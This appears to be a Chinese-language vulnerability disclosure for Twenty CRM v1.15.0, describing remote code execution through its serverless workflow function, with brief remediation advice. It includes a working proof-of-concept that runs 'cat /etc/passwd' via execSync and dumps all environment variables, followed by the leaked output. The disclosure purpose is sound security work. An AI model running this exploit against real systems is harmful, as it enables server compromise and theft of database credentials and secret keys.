产品: Twenty CRM
漏洞: 通过无服务器工作流函数实现远程代码执行(RCE)
严重性: 严重
受影响组件: 工作流自动化(代码 - 无服务器函数)
测试版本: v1.15.0
本仓库记录了 Twenty CRM 工作流引擎中的一个严重漏洞。“代码 - 无服务器函数”组件允许已认证用户执行任意 Node.js 代码。由于缺乏沙箱隔离,攻击者可以导入 child_process 模块并在宿主服务器上执行系统级命令。
该应用允许用户创建包含代码执行步骤的自定义自动化工作流。虽然此功能旨在用于数据处理,但执行环境并未正确限制对 Node.js 内置模块或底层操作系统的访问。
攻击者可以利用 child_process 库中的 execSync 来:
cat、ls、whoami)。/etc/passwd)。process.env),从而泄露数据库凭据、API 密钥和应用机密信息。import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. 远程命令执行:读取系统用户
const output = execSync('cat /etc/passwd').toString();
// 2. 信息泄露:转储所有环境变量(机密信息)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
代码概览
该工作流成功执行并返回系统数据。
系统文件访问(/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
泄露的环境变量:
process.env 转储揭示了关键配置信息:
PG_DATABASE_URL(数据库凭据)APP_SECRET(签名密钥)REDIS_URLAWS_ACCESS_KEY(如果已配置)该漏洞允许已认证用户(具有创建工作流权限)实现 完全系统入侵。
要解决此问题,“无服务器函数”功能需要适当的隔离。
child_process、fs 和 net)的访问。